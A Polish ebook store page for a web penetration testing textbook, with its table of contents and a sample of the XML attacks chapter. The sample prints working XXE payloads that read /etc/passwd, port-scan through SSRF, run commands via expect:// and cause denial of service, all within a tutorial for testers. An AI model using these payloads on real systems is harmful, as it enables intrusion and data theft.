Cyfroteka.pl

klikaj i czytaj online

Cyfro
Czytomierz
00065 006355 11244830 na godz. na dobę w sumie
Testy penetracyjne nowoczesnych serwisów. Kompendium inżynierów bezpieczeństwa - ebook/pdf
Testy penetracyjne nowoczesnych serwisów. Kompendium inżynierów bezpieczeństwa - ebook/pdf
Autor: Liczba stron: 248
Wydawca: Helion Język publikacji: polski
ISBN: 978-83-283-3460-1 Data wydania:
Lektor:
Kategoria: ebooki >> komputery i informatyka >> hacking >> bezpieczeństwo www
Porównaj ceny (książka, ebook (-20%), audiobook).

Testy penetracyjne nowoczesnych serwisów. Kompendium inżynierów bezpieczeństwa

Sieć stała się niebezpiecznym miejscem. Między grasującymi złoczyńcami a inżynierami bezpieczeństwa aplikacji trwa ciągły wyścig zbrojeń. Mimo to oczywiste jest, że uzyskanie stuprocentowego bezpieczeństwa jest niemożliwe. Jedną z technik zabezpieczania aplikacji są testy penetracyjne, które polegają na atakowaniu systemu różnymi metodami, aby odnaleźć jego słabe punkty i pokazać, jak można się do niego włamać.

Niniejsza książka stanowi wyczerpujące źródło wiedzy dla testerów przeprowadzających analizę aplikacji internetowej. Opisano tu zarówno najnowsze, jak i klasyczne techniki łamania zabezpieczeń — bardzo często starsze metody rozwijają się w różnych kierunkach i nie należy o nich zapominać. Między innymi przedstawiono informacje o atakach XML, w tym XXE, oraz metody wykorzystywania słabych stron OAuth 2.0. Omówiono również XSS, CSRF, Metasploit i wstrzykiwanie SQL. Nie zabrakło również opisu rzeczywistych przypadków testowania aplikacji.

Testy penetracyjne — klucz do bezpieczeństwa Twojej aplikacji!


Prakhar Prasad mieszka w Indiach. Jest ekspertem w dziedzinie bezpieczeństwa aplikacji specjalizującym się w testach penetracyjnych. W 2014 roku został sklasyfikowany na dziesiątej pozycji w światowym rankingu HackerOne. Zdobył kilka nagród za znalezienie luk bezpieczeństwa w takich serwisach, jak Google, Facebook, Twitter, PayPal czy Slack. Posiada certyfikaty z OSCP. Przeprowadza testy bezpieczeństwa dla różnych organizacji rządowych, pozarządowych i edukacyjnych.

Znajdź podobne książki Ostatnio czytane w tej kategorii

Darmowy fragment publikacji:

Tytuł oryginału: Mastering Modern Web Penetration Testing Tłumaczenie: Rafał Jońca ISBN: 978-83-283-3459-5 Copyright © Packt Publishing 2016 First published in the English language under the title Mastering Modern Web Penetration Testing - (9781785284588) Polish edition copyright © 2017 by Helion SA All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji. Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli. Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce. Wydawnictwo HELION ul. Kościuszki 1c, 44-100 GLIWICE tel. 32 231 22 19, 32 230 98 63 e-mail: helion@helion.pl WWW: http://helion.pl (księgarnia internetowa, katalog książek) Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/tespen Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję. Printed in Poland. • Kup książkę • Poleć książkę • Oceń książkę • Księgarnia internetowa • Lubię to! » Nasza społeczność Spis tre(cid:258)ci O autorze O redaktorze merytorycznym Wst(cid:218)p Rozdzia(cid:239) 1. Typowe protoko(cid:239)y bezpiecze(cid:241)stwa SOP CORS Kodowanie URL, czyli kodowanie z procentem Podwójne kodowanie Kodowanie Base64 Podsumowanie Rozdzia(cid:239) 2. Zbieranie informacji Techniki zbierania informacji Wyliczanie domen, plików i zasobów Fierce theHarvester SubBrute CeWL DirBuster WhatWeb Shodan DNSdumpster Wyszukiwanie domen po odwróconym adresie IP — YouGetSignal Pentest-Tools Zaawansowane wyszukiwanie Google Podsumowanie 7 9 11 17 17 21 24 26 28 31 33 33 34 35 38 39 41 42 44 48 50 50 52 52 56 Poleć książkęKup książkę Spis tre(cid:286)ci Rozdzia(cid:239) 3. Ataki XSS Odbity XSS Zapisany XSS Ataki XSS wykorzystuj(cid:200)ce Flasha — funkcja ExternalInterface.call() Znaczniki HttpOnly i bezpieczne pliki cookie Ataki XSS bazuj(cid:200)ce na obiektach DOM Narz(cid:218)dzie BeEF, czyli wykorzystywanie podatno(cid:258)ci XSS Podsumowanie Rozdzia(cid:239) 4. Atak CSRF Wprowadzenie do CSRF Wykonywanie ataku CSRF dla (cid:285)(cid:200)da(cid:241) POST W jaki sposób programi(cid:258)ci zapobiegaj(cid:200) CSRF? Podatno(cid:258)(cid:202) CSRF PayPala dotycz(cid:200)ca zmiany numerów telefonów Wykorzystanie podatno(cid:258)ci na atak CSRF w (cid:285)(cid:200)daniach typu JSON Wykorzystanie ataku XSS do wykradania tokenów CSRF Wykorzystanie s(cid:239)abo(cid:258)ci tokena CSRF Flash na ratunek Podsumowanie Rozdzia(cid:239) 5. Wykorzystanie wstrzykiwania SQL Instalacja SQLMap w systemie Kali Linux Wprowadzenie do SQLMap Pobieranie danych — scenariusz z wykorzystywaniem b(cid:239)(cid:218)du SQLMap i modyfikacja adresów URL Przyspieszamy ca(cid:239)y proces Pobieranie danych z bazy w scenariuszach wykorzystuj(cid:200)cych czas lub dzia(cid:239)aj(cid:200)cych na (cid:258)lepo Odczyt i zapis plików Obs(cid:239)uga wstrzykiwania w (cid:285)(cid:200)daniu POST Wstrzykiwanie SQL do stron wymagaj(cid:200)cych logowania Pow(cid:239)oka SQL Pow(cid:239)oka polece(cid:241) Unikanie filtrów — skrypty modyfikuj(cid:200)ce Konfiguracja serwera po(cid:258)rednicz(cid:200)cego Podsumowanie Rozdzia(cid:239) 6. Podatno(cid:258)ci na atak zwi(cid:200)zane z przesy(cid:239)aniem plików Podatno(cid:258)(cid:202) na atak zwi(cid:200)zana z przesy(cid:239)aniem plików — wprowadzenie Zdalne wykonywanie kodu Powrót do XSS Ataki typu DoS Obej(cid:258)cie zabezpiecze(cid:241) zwi(cid:200)zanych z przesy(cid:239)aniem plików Podsumowanie 4 57 58 62 70 71 72 75 81 83 84 85 86 87 88 90 91 92 96 97 98 99 102 106 107 109 111 115 118 119 119 121 124 124 127 128 129 134 136 138 146 Poleć książkęKup książkę Spis tre(cid:286)ci Rozdzia(cid:239) 7. Metasploit i sie(cid:202) WWW Modu(cid:239)y Metasploit U(cid:285)ycie Msfconsole Wykorzystanie modu(cid:239)ów pomocniczych zwi(cid:200)zanych z aplikacjami internetowymi Wykorzystanie WMAP Generowanie w Metasploit (cid:239)adunków dla aplikacji internetowych Podsumowanie Rozdzia(cid:239) 8. Ataki XML Podstawy formatu XML Atak XXE XML do kwadratu Podsumowanie Rozdzia(cid:239) 9. Nowe wektory ataków Atak SSRF Atak IDOR Przebijanie DOM Atak RPO Podmiana interfejsu u(cid:285)ytkownika Wstrzykiwanie obiektów PHP Podsumowanie Rozdzia(cid:239) 10. Bezpiecze(cid:241)stwo Oauth 2.0 Wprowadzenie do modelu OAuth 2.0 Otrzymywanie upowa(cid:285)nie(cid:241) U(cid:285)ycie OAuth dla zabawy i zysku Podsumowanie Rozdzia(cid:239) 11. Metodologia testowania API Zrozumie(cid:202) API typu REST Konfiguracja (cid:258)rodowiska testowego Nauka API Podstawowa metodologia testowania API dla programistów Skorowidz 149 149 151 153 157 161 166 167 168 172 178 180 181 181 188 194 196 201 204 209 211 212 215 219 223 225 225 230 232 237 243 5 Poleć książkęKup książkę Poleć książkęKup książkę 8 Ataki XML W tym rozdziale przedstawi(cid:218) niektóre techniki ataku analizatorów sk(cid:239)adniowych XML. Anali- zatory XML to najcz(cid:218)(cid:258)ciej programy lub biblioteki, które przyjmuj(cid:200) dokument XML, a nast(cid:218)pnie analizuj(cid:200) go i przetwarzaj(cid:200) do (cid:239)atwej w obróbce formy. Format XML (ang. eXtensible Markup Language) jest nadal bardzo popularnym formatem wymiany danych. Sk(cid:239)adnia XML przypomi- na sk(cid:239)adni(cid:218) j(cid:218)zyka HTML, ale s(cid:239)u(cid:285)y tylko do przechowywania danych, cho(cid:202) w nieco bardziej ustrukturyzowanym formacie. Standardowy dokument XML to zwyk(cid:239)y plik tekstowy, który sam z siebie nic nie robi. Potrzebny jest wi(cid:218)c osobny program, który odczytuje zawarto(cid:258)(cid:202) pliku i na jego podstawie wykonuje inne dzia(cid:239)ania. Z tego powodu ataki nie dotycz(cid:200) samych plików, ale narz(cid:218)dzi ich przetwarzaj(cid:200)cych. XML to otwarty standard wspierany przez W3C (ang. World Wide Web Consortium). Zanim przejd(cid:218) do sposobu ataku, pokrótce opisz(cid:218) sam format XML. Kilka ataków prezentowanych w rozdziale wykorzystuje technik(cid:218) DoS (ang. Denial of Service). Pami(cid:218)taj, aby testowa(cid:202) j(cid:200) tylko i wy(cid:239)(cid:200)cznie w kontrolowanym (cid:258)rodowisku, które mo(cid:285)na bez szkód dla firmy przywróci(cid:202) do pe(cid:239)nej sprawno(cid:258)ci. Nigdy nie u(cid:285)ywaj tych technik w (cid:258)rodowiskach produkcyjnych — mo(cid:285)esz zosta(cid:202) zwolniony, a nawet trafi(cid:202) do wi(cid:218)zienia! W tym rozdziale poruszymy nast(cid:218)puj(cid:200)ce tematy: (cid:81) podstawy formatu XML; (cid:81) atak XXE — wykorzystanie zewn(cid:218)trznych encji XML; (cid:81) u(cid:285)ycie XML do kwadratu. Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów Podstawy formatu XML Zanim przejdziemy do w(cid:239)a(cid:258)ciwych ataków, warto pozna(cid:202) podstawy XML. Format ten powsta(cid:239), poniewa(cid:285) wcze(cid:258)niej dane przechowywano w formacie sp(cid:239)aszczonym, co utrudnia(cid:239)o zarówno obs(cid:239)ug(cid:218) danych, jak i przenoszenie ich mi(cid:218)dzy systemami. Dla ka(cid:285)dego sp(cid:239)aszczonego pliku programista musia(cid:239) napisa(cid:202) odpowiedni analizator i kod wczytuj(cid:200)cy. Dok(cid:239)adnie to samo zadanie musia(cid:239) wykona(cid:202) w drug(cid:200) stron(cid:218), aby zapisa(cid:202) plik. W przypadku XML sytuacja jest znacznie prostsza — istniej(cid:200) generyczne analizatory XML, które potrafi(cid:200) przeanalizowa(cid:202) ka(cid:285)dy poprawnie skonstruowany dokument XML. Dodatkowo format XML jest czytelny dla ludzi. Bardzo prosty dokument XML mo(cid:285)e mie(cid:202) posta(cid:202): ?xml version= 1.0 encoding= UTF-8 ? student name James Jones /name roll PACKT/1001/16 /roll dob 17-01-1947 /dob address Birmingham, United Kingdom /address /student Elementy XML Przedstawiony dokument XML zawiera kilka ró(cid:285)nych znaczników przechowuj(cid:200)cych ró(cid:285)nego rodzaju dane mi(cid:218)dzy znacznikami pocz(cid:200)tku i ko(cid:241)ca. Dokument XML rozpoczyna si(cid:218) od pream- bu(cid:239)y, czyli krótkiej deklaracji, (cid:285)e jest to dokument XML, i informacji o rodzaju kodowania. W przyk(cid:239)adzie dokument u(cid:285)ywa kodowania UTF-8. Nast(cid:218)pnie pojawiaj(cid:200) si(cid:218) znaczniki, a ka(cid:285)dy z nich ma w sobie pewne dane. Ca(cid:239)o(cid:258)(cid:202), czyli znacznik otwieraj(cid:200)cy, znacznik zamykaj(cid:200)cy i zawar- to(cid:258)(cid:202), nazywa si(cid:218) elementem. Nazwa elementu wynika z wymaga(cid:241) lub innych czynników. Oto przyk(cid:239)ad: (cid:81) name James Jones /name to pe(cid:239)ny element; (cid:81) name to znacznik otwieraj(cid:200)cy; (cid:81) James Jones to tre(cid:258)(cid:202) elementu; (cid:81) /name to znacznik zamykaj(cid:200)cy. Znaczniki s(cid:200) czu(cid:239)e na wielko(cid:258)(cid:202) liter, wi(cid:218)c znacznik otwieraj(cid:200)cy musi mie(cid:202) tak(cid:200) sam(cid:200) posta(cid:202) jak znacznik zamykaj(cid:200)cy. W przeciwnym razie analizator zg(cid:239)osi b(cid:239)(cid:200)d. Dokumenty XML musz(cid:200) zawiera(cid:202) tylko jeden element bazowy (korze(cid:241)). W przedstawionym przyk(cid:239)adzie jest nim element student ... /student . 168 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML Atrybuty XML Rozwa(cid:285)my dokument XML: ?xml version= 1.0 encoding= UTF-8 ? blogger blog id= 123 post Hello World /post owner James Jones /owner /blog /blogger Zauwa(cid:285), (cid:285)e element blog ... /blog zawiera powi(cid:200)zany z nim atrybut o nazwie id i warto(cid:258)ci 123. Atrybut to warto(cid:258)(cid:202) powi(cid:200)zania z elementem. Warto podkre(cid:258)li(cid:202), (cid:285)e warto(cid:258)(cid:202) atrybutu musi znajdowa(cid:202) si(cid:218) w cudzys(cid:239)owach pojedynczych lub podwójnych. XML DTD i znaki specjalne XML DTD to dokument, który s(cid:239)u(cid:285)y do sprawdzenia poprawno(cid:258)ci dokumentu XML pod k(cid:200)tem spe(cid:239)nienia pewnych warunków — dokument XML mo(cid:285)e by(cid:202) poprawny sk(cid:239)adniowo, ale nie spe(cid:239)nia(cid:202) warunków DTD. Mo(cid:285)na powiedzie(cid:202), (cid:285)e jest to pewnego rodzaju szablon walidacyjny zawieraj(cid:200)cy informacje o dopuszczalnych elementach i atrybutach. Wewn(cid:218)trzny DTD Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy dokument XML: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ELEMENT student (name,roll,dob,address) !ELEMENT name (#PCDATA) !ELEMENT roll (#PCDATA) !ELEMENT dob (#PCDATA) !ELEMENT address (#PCDATA) ] student name James Jones /name roll PACKT/1001/16 /roll dob 17-01-1947 /dob address Birmingham, United Kingdom /address /student Dokument XML zawiera osadzony w sobie DTD, który definiuje dopuszczaln(cid:200) struktur(cid:218) danych. DTD wykorzystuje bardzo prosty zapis, wi(cid:218)c jego interpretacja nie powinna sprawi(cid:202) wi(cid:218)kszych problemów: 169 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów (cid:81) !DOCTYPE student — wskazuje, (cid:285)e korzeniem ca(cid:239)ej struktury b(cid:218)dzie element student; (cid:81) !ELEMENT student (name, roll, dob, address) — informuje, (cid:285)e element student b(cid:218)dzie zawiera(cid:239) w sobie cztery inne elementy: name, roll, dob i address; (cid:81) !ELEMENT name (#PCDATA) — wskazuje, (cid:285)e element name jest typu PCDATA, czyli zawiera dane tekstowe; podobne zapisy dotycz(cid:200) elementów roll, dob i address. Po cz(cid:218)(cid:258)ci DTD zaczyna si(cid:218) w(cid:239)a(cid:258)ciwy dokument XML. Opisywany DTD nazywa si(cid:218) osadzonym DTD, poniewa(cid:285) znajduje si(cid:218) wewn(cid:200)trz dokumentu XML z danymi. Zewn(cid:218)trzny DTD Tym razem rozwa(cid:285)my nast(cid:218)puj(cid:200)cy dokument XML: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student SYSTEM student.dtd ] student name James Jones /name roll PACKT/1001/16 /roll dob 17-01-1947 /dob address Birmingham, United Kingdom /address /student Tym razem w dokumencie XML znajduje si(cid:218) tylko i wy(cid:239)(cid:200)cznie adres URL do dokumentu DTD. Analizator pobierze plik student.dtd i sprawdzi na jego podstawie poprawno(cid:258)(cid:202) dokumentu XML. Plik DTD zawiera nast(cid:218)puj(cid:200)c(cid:200) tre(cid:258)(cid:202): !ELEMENT student (name,roll,dob,address) !ELEMENT name (#PCDATA) !ELEMENT roll (#PCDATA) !ELEMENT dob (#PCDATA) !ELEMENT address (#PCDATA) Poniewa(cid:285) rozdzielili(cid:258)my dokument XML i jego opis na potrzeby walidacji, dokument DTD nazywamy zewn(cid:218)trznym DTD. Encje XML Sk(cid:239)adnia XML wymaga kodowania pewnych znaków. Dotyczy to przede wszystkim znaków, które s(cid:200) standardowo u(cid:285)ywane do oznaczania znaczników, np. i . Ka(cid:285)da zakodowana instruk- cji zaczyna si(cid:218) od znaku i ko(cid:241)czy znakiem ;. Zakodowany znak ma posta(cid:202) lt;. Poni(cid:285)sza ta- bela zawiera kodowanie podstawowych znaków specjalnych w przekazywanych danych: 170 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML Znak Zakodowana wersja amp; lt; gt; quot; apos; Zobaczmy, jak wygl(cid:200)da u(cid:285)ycie znaków specjalnych w danych zawartych w dokumencie XML: ?xml version= 1.0 encoding= UTF-8 ? student less lt; /less /student Deklaracja encji Poza encjami dla znaków specjalnych mo(cid:285)emy równie(cid:285) samodzielnie definiowa(cid:202) inne encje, które odnosz(cid:200) si(cid:218) do informacji wewn(cid:200)trz lub na zewn(cid:200)trz dokumentu. Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy kod XML: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ELEMENT student (#PCDATA) !ENTITY name James Jones ] student name; /student Dokument XML cz(cid:218)(cid:258)ci DTD zawiera znacznik !ENTITY name James Jones , który definiuje name; jako warto(cid:258)(cid:202) James Jones. Jest to tak zwana deklaracja wewn(cid:218)trzna, poniewa(cid:285) wszystko znajduje si(cid:218) w tym samym dokumencie i nie trzeba pobiera(cid:202) danych z zewn(cid:200)trz. Mo(cid:285)emy równie(cid:285) korzysta(cid:202) z zewn(cid:218)trznych DTD do definiowania encji. Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy przyk(cid:239)ad: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ELEMENT student (#PCDATA) !ENTITY sname SYSTEM https://www.prakharprasad.com/external.xml ] student sname; /student Aby zadeklarowa(cid:202) zewn(cid:218)trzn(cid:200) encj(cid:218), u(cid:285)ywamy formatu: !ENTITY nazwa SYSTEM URI Po przeczytaniu dokumentu XML przez analizator zaczyna on obs(cid:239)ug(cid:218) zewn(cid:218)trznych URI na podstawie zdefiniowanego mechanizmu ich pobierania. Zewn(cid:218)trzny plik pobiera pliki wewn(cid:218)trz- ne i zast(cid:218)puje nimi wskazane wyst(cid:200)pienia. W przedstawionym przyk(cid:239)adzie adresem URI jest 171 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów https://www.prakharprasad.com/external.xml, a nazw(cid:200) encji jest sname;. Plik external.xml zostanie pobrany, a jego tre(cid:258)(cid:202) zast(cid:200)pi ka(cid:285)de wyst(cid:200)pienie sname; w elemencie student ... /student . Zewn(cid:218)trzne encje to z perspektywy testera penetracyjnego bardzo dobry wektor ataku. Sposób ich wykorzystania omówi(cid:218) w nast(cid:218)pnym podrozdziale dotycz(cid:200)cym ataku XXE. Atak XXE Atak XXE (ang. XML eXternal Entity) wykorzystuje mo(cid:285)liwo(cid:258)(cid:202) wczytywania w dokumentach XML innych plików. Mo(cid:285)emy wykorzysta(cid:202) cz(cid:218)(cid:258)(cid:202) URI do wykonywania zada(cid:241) takich jak odczyt plików, wydobywanie danych, podkradzenie (cid:285)(cid:200)dania po stronie serwera, a nawet wykonanie dowolnego kodu. W niektórych z prezentowanych przyk(cid:239)adów celowo w(cid:239)(cid:200)czy(cid:239)em kilka modu(cid:239)ów PHP, mi(cid:218)dzy innymi wczytywa- nie zewn(cid:218)trznych encji, obs(cid:239)ug(cid:218) fopen i modu(cid:239) expect. Domy(cid:258)lna instalacja PHP ma te elementy wy(cid:239)(cid:200)czone. Pami(cid:218)taj, (cid:285)e atak XXE dotyczy wszystkich platform serwerowych, wi(cid:218)c nawet je(cid:258)li pewien modu(cid:239) jest zablokowany domy(cid:258)lnie dla j(cid:218)zyka PHP, to mo(cid:285)e zadzia(cid:239)a(cid:202) na serwerze u(cid:285)ywaj(cid:200)cym ASP, JSP itp. Rozwa(cid:285)my nast(cid:218)puj(cid:200)cy fragment kodu PHP przetwarzaj(cid:200)cy dokument XML: ?php $xml = $_POST[ xml ]; $student = simplexml_load_string($xml, SimpleXMLElement ,LIBXML_NOENT); ? html title Name Game /title body h3 pre Your name is ?php echo $student- name; ? /pre /h3 /body /html Przedstawiony kod po prostu wy(cid:258)wietla imi(cid:218) przekazane wewn(cid:200)trz dokumentu XML przesy(cid:239)ane- go (cid:285)(cid:200)daniem typu POST. Przedstawmy przyk(cid:239)ad dzia(cid:239)ania. Oto zrzut ekranu pokazuj(cid:200)cy u góry przesy(cid:239)any dokument XML, a na dole odpowied(cid:283) wy(cid:258)wietlan(cid:200) przez PHP po jego przetworzeniu (zobacz rysunek na nast(cid:218)pnej stronie). (cid:146)atwo zauwa(cid:285)ymy, (cid:285)e PHP wydobywa z dokumentu XML dane osadzone w elemencie name i po prostu je wy(cid:258)wietla. Zacznijmy wykorzystywa(cid:202) adresy URI dotycz(cid:200)ce zewn(cid:218)trznych encji. 172 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML Odczyt plików Atak XXE umo(cid:285)liwia odczyt plików systemowych. To naprawd(cid:218) zadziwiaj(cid:200)ce, ale mo(cid:285)emy w ten sposób odczyta(cid:202) zawarto(cid:258)(cid:202) innych plików zawieraj(cid:200)cych takie dane jak nazwa u(cid:285)ytkownika i has(cid:239)a do bazy danych. Aby to zademonstrowa(cid:202), zadeklarujmy zewn(cid:218)trzn(cid:200) encj(cid:218) i wska(cid:285)my adresem URI plik, który znajduje si(cid:218) na dysku serwera WWW. Do skryptu PHP przeka(cid:285)emy dokument XML o nast(cid:218)puj(cid:200)cej tre(cid:258)ci: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ENTITY oops SYSTEM file:///etc/passwd ] student name oops; /name /student Odpowied(cid:283) z serwera b(cid:218)dzie nast(cid:218)puj(cid:200)ca (zobacz pierwszy rysunek na nast(cid:218)pnej stronie). Wspaniale! Uda(cid:239)o nam si(cid:218) odczyta(cid:202) zawarto(cid:258)(cid:202) pliku /etc/passwd z systemu Linux serwera, który przetwarza(cid:239) dokument XML. Wykorzystali(cid:258)my protokó(cid:239) file://, aby odczyta(cid:202) plik i wy- (cid:258)wietli(cid:202) tre(cid:258)(cid:202) jako zewn(cid:218)trzn(cid:200) encj(cid:218). Je(cid:258)li tylko pozwol(cid:200) na to uprawnienia, mo(cid:285)emy odczyta(cid:202) w ten sposób i inne pliki. 173 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów W niektórych (cid:258)rodowiskach mo(cid:285)liwe jest nawet otrzymanie listy plików znajduj(cid:200)cych si(cid:218) w kata- logu za pomoc(cid:200) protoko(cid:239)u file://: !ENTITY oops SYSTEM file:///etc/ Powy(cid:285)szy wpis pobierze list(cid:218) plików folderu /etc. Alternatywa w postaci konwersji Base64 adresu URI w PHP Mo(cid:285)emy wykorzysta(cid:202) konwersj(cid:218) Base64 adresu URI w PHP jako alternatyw(cid:218) do odczytu plików za pomoc(cid:200) protoko(cid:239)u file://. Stosowanym powszechnie formatem jest: php://filter/convert.base64-encode/resource=/plik/do/odczytu Powtórzymy wcze(cid:258)niejszy przyk(cid:239)ad, ale tym razem u(cid:285)yjmy sztuczki z konwersj(cid:200). (cid:146)adunek XML ma posta(cid:202): !DOCTYPE student [ !ENTITY pwn SYSTEM php://filter/convert.base64-encode/resource=/etc/passwd ] student name pwn; /name /student Analizator pobierze wskazany plik /etc/passwd, ale zwróci go w postaci zakodowanej przy u(cid:285)yciu formatu Base64 (zobacz pierwszy rysunek na nast(cid:218)pnej stronie). Wystarczy teraz skopiowa(cid:202) dane, wklei(cid:202) je do dekodera Base64 (np. narz(cid:218)dzia Burp Decoder) i otrzyma(cid:202) faktyczn(cid:200) zawarto(cid:258)(cid:202) pliku (zobacz drugi rysunek na nast(cid:218)pnej stronie). 174 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML Przedstawion(cid:200) technik(cid:218) warto zastosowa(cid:202) za ka(cid:285)dym razem, gdy podejrzewamy, (cid:285)e (cid:258)rodowisko PHP mo(cid:285)e by(cid:202) podatne na atak XXE. SSRF poprzez XXE SSRF (ang. Server-Side Request Forgery) to mechanizm, który wykorzystamy do ataku — serwer uruchamiaj(cid:200)cy analizator XML wykona na nasz rozkaz po(cid:239)(cid:200)czenie z dowolnym innym kom- puterem. Dok(cid:239)adniej podatno(cid:258)(cid:202) SSRF opisz(cid:218) w nast(cid:218)pnym rozdziale, a na razie skupmy si(cid:218) na u(cid:285)yciu jej do skanowania portów. Wykorzystamy adresy URL dotycz(cid:200)ce protoko(cid:239)u HTTP, ale r(cid:218)cznie wska(cid:285)emy numery portów. Logika jest prosta: gdy analizator spróbuje odczyta(cid:202) dane z adresu URI, dla ka(cid:285)dego otwartego portu zwróci stron(cid:218) z b(cid:239)(cid:218)dem HTTP (czasem nawet z dodatkow(cid:200) informacj(cid:200) o us(cid:239)udze), ale dla zamkni(cid:218)tego portu zwróci informacj(cid:218) o problemie z po(cid:239)(cid:200)czeniem si(cid:218). (cid:146)adunek móg(cid:239)by mie(cid:202) posta(cid:202): ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ENTITY oops SYSTEM http://scanme.nmap.org:20/ ] student name oops; /name /student Zauwa(cid:285), (cid:285)e zaczynamy od portu o numerze 20. Zwi(cid:218)kszamy numer portu tak d(cid:239)ugo, a(cid:285) znaj- dziemy otwarty port: 175 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów !ENTITY oops SYSTEM http://scanme.nmap.org:20/ !ENTITY oops SYSTEM http://scanme.nmap.org:21/ !ENTITY oops SYSTEM http://scanme.nmap.org:22/ ... !ENTITY oops SYSTEM http://scanme.nmap.org:X/ Dla portu o numerze 20 otrzymali(cid:258)my informacje: Connection refused i failed to load external entity: Podobn(cid:200) informacj(cid:218) otrzymujemy dla portu 21, ale dla portu 22 otrzymali(cid:258)my inny b(cid:239)(cid:200)d, co (cid:258)wiad- czy o tym, (cid:285)e port jest otwarty: Co istotne, otrzymali(cid:258)my nawet informacj(cid:218) o us(cid:239)udze, która nas(cid:239)uchuje na porcie 22 — jest to us(cid:239)uga OpenSSH. Tego rodzaju skanowanie portów mo(cid:285)emy przeprowadzi(cid:202) bardzo szybko. Zdalne wykonywanie kodu Mo(cid:285)liwo(cid:258)(cid:202) zdalnego wykonania kodu na serwerze to zawsze kusz(cid:200)ca oferta. Je(cid:258)li tylko mo(cid:285)emy wykorzysta(cid:202) obs(cid:239)ug(cid:218) protoko(cid:239)u URI expect:// zapewnian(cid:200) przez PHP, warto z niej skorzysta(cid:202) do uruchamiania polece(cid:241) na serwerze. Dokumentacja PHP wskazuje, (cid:285)e wystarczy umie(cid:258)ci(cid:202) po elemencie expect:// nazw(cid:218) polecenia (zobacz pierwszy rysunek na nast(cid:218)pnej stronie). Rozwa(cid:285)my wi(cid:218)c poni(cid:285)szy (cid:239)adunek XML, który spowoduje wykonanie kodu, je(cid:258)li jest w(cid:239)(cid:200)czona obs(cid:239)uga protoko(cid:239)u expect://: ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE name [ !ENTITY rce SYSTEM expect://id ] 176 Poleć książkęKup książkę Rozdzia(cid:225) 8. • Ataki XML Dokumentacja PHP dotycz(cid:200)ca expect:// student name rce; /name /student Powy(cid:285)szy kod wykona(cid:239) polecenie id na serwerze z systemem Linux: Na tym zako(cid:241)czymy prezentacj(cid:218) zdalnego wykonywania kodu. Przejd(cid:283)my teraz do ataków DoS poprzez XXE. Atak DoS poprzez XXE Mo(cid:285)emy zmusi(cid:202) serwer podatny na XXE do odczytywania plików takich jak /dev/random lub /dev/urandom, co najprawdopodobniej spowoduje ich zawieszenie. Ju(cid:285) wcze(cid:258)niej skorzystali(cid:258)my z protoko(cid:239)u file:// w definicji dokumentu XML, wi(cid:218)c spróbujmy odczyta(cid:202) zawarto(cid:258)(cid:202) /dev/random i wstawi(cid:202) j(cid:200) jako element zast(cid:218)puj(cid:200)cy encj(cid:218): ?xml version= 1.0 encoding= UTF-8 ? !DOCTYPE student [ !ENTITY oops SYSTEM file:///dev/random ] 177 Poleć książkęKup książkę Testy penetracyjne nowoczesnych serwisów student name oops; /name /student Tego rodzaju (cid:239)adunek, je(cid:258)li zostanie wykonany wielokrotnie, mo(cid:285)e spowodowa(cid:202) znacz(cid:200)ce spowolnienie dzia(cid:239)ania serwera, a nawet jego unieruchomienie. Oto przyk(cid:239)adowy efekt takiego ataku na moim serwerze testowym: Zrzut ekranu przedstawia b(cid:239)(cid:200)d CloudFlare zwi(cid:200)zany z faktem, i(cid:285) mój serwer przesta(cid:239) odpo- wiada(cid:202) na (cid:285)(cid:200)dania (z powodu ataku). Przyjrzyjmy si(cid:218) dok(cid:239)adniej sposobowi ataku przy u(cid:285)yciu techniki nazywanej XML do kwadratu. XML do kwadratu Atak tego rodzaju to specjalny atak typu DoS na analizator danych XML. Zanim jednak przejd(cid:218) do opisu tej techniki, wyja(cid:258)ni(cid:218) inn(cid:200) technik(cid:218) ataku, nazywan(cid:200) miliard u(cid:258)mieszków, która obecnie ju(cid:285) nie dzia(cid:239)a, ale wyja(cid:258)ni podstawy w(cid:239)a(cid:258)ciwego ataku. Miliard u(cid:258)mieszków Atak DoS typu miliard u(cid:258)mieszków zaczynamy od zadeklarowania dokumentu XML z encj(cid:200) o nazwie lol (w(cid:239)a(cid:258)nie od tej nazwy wzi(cid:218)(cid:239)a swój pocz(cid:200)tek nazwa ataku, ale w praktyce mo(cid:285)na u(cid:285)y(cid:202) dowolnej innej nazwy). Encj(cid:218) zagnie(cid:285)d(cid:285)amy rekurencyjnie 